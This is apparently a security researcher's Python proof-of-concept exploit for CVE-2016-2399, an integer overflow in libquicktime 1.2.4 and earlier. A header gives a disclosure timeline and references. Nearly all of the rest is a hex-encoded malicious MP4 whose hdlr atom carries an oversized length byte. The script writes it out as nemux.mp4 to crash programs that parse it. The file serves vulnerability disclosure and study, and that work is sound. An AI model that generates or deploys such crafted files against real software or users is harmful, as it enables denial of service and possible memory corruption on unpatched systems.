#!/usr/bin/env python
#
###
# - 7 February 2016 -
# My last bug hunting session (*for fun and no-profit*) 
# has been dedicated to libquicktime
###
# 
# Author: Marco Romano - @nemux_ http://www.nemux.org
# libquicktime 1.2.4 Integer Overflow
#
# Product Page: http://libquicktime.sourceforge.net/
# Description: 'hdlr', 'stsd', 'ftab' MP4 Atoms Integer Overflow
# Affected products: All products using libquicktime version <= 1.2.4
#
# CVE-ID: CVE-2016-2399 
#
# Disclosure part: http://www.nemux.org
#
########
####### Timeline
#
# 07 Feb 2016 Bug discovered
# 17 Feb 2016 Mitre.org contacted
# 17 Feb 2016 Disclosed to the project's maintainer
# 23 Feb 2016 No response from the maintainer
# 23 Feb 2016 Publicly disclosed 
#
########
####### References
#
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2399
# http://libquicktime.sourceforge.net/
# http://www.linuxfromscratch.org/blfs/view/svn/multimedia/libquicktime.html 
# https://en.wikipedia.org/wiki/QuickTime\_File\_Format
#
#######
#
# DISCLAIMER: It's just a PoC... it will crash something
#
#### 
import sys
import struct
import binascii

"""
There needs to be an mp4 file with these nested atoms to trigger the bug:
moov -> trak -> mdia -> hdlr
"""
hax0r_mp4 = ("0000001C667479704141414100000300336770346D70343133677036000000086D646174000001B1" 
             "6D6F6F76"               #### moov atom
             "0000006C6D76686400000000CC1E6D6ECC1E6D6E000003E80000030200010000010000000000000000000000"
             "000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000000" 
             "00000000000000000000000000000003000000FD756474610000001263707274000000000000FEFF0000000000126175"
             "7468000000000000FEFF0000000000127469746C000000000000FEFF00000000001264736370000000000000FEFF0000"
             "0000001270657266000000000000FEFF000000000012676E7265000000000000FEFF00000000001A72746E6700000000" 
             "00000000000000000000FEFF000000000018636C7366000000000000000000000000FEFF00000000000F6B7977640000" 
             "000055C400000000276C6F6369000000000000FEFF000000000000000000000000000000FEFF0000FEFF0000000000FF" 
             "616C626D000000000000FEFF0000010000000E79727263000000000000000002E4"
             "7472616B"               #### trak atom
             "0000005C746B686400000001CC1E6D6ECC1E6D6E00000001000000000000030000000000000000000000000001000000"
             "000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000040"
             "6D646961"               #### mdia atom
             "000000206D64686400000000CC1E6D6ECC1E6D6E00003E800000300000000000000000"
             "4E"                     #### hdlr atom length
             "68646C72"               #### hdlr atom
             "0000000000"
             "4141414141414141"       #### our airstrip :)
             "0000000000000000000000" 
             "EC"                     #### 236 > 127 <-- overflow here and a change in signedness too
             "616161000000FF736F756E000000000000000000000000536F756E6448616E646C6572000000012B6D696E6600000010")

hax0r_mp4 = bytearray(binascii.unhexlify(hax0r_mp4))

def createPoC():
    try:
        with open("./nemux.mp4","wb") as output:
            output.write(hax0r_mp4)
        print "[*] The PoC is done!"
    except Exception,e: 
        print str(e)
        print "[*] mmmm!"

def usage():
    print "\nUsage? Run it -> " + sys.argv[0]
    print "this poc creates an mp4 file named nemux.mp4"
    print "--------------------------------------------"
    print "This dummy help? " + sys.argv[0] + " help\n" 
    sys.exit()

if __name__ == "__main__":
    try:
        if len(sys.argv) == 2:
            usage()
        else:
            print "\nlibquicktime <= 1.2.4 Integer Overflow CVE-2016-2399\n"
            print "Author: Marco Romano - @nemux_ - http://www.nemux.org\n\n";
            createPoC();
    except Exception,e: 
        print str(e)
        print "Ok... Something went wrong..."
        sys.exit()



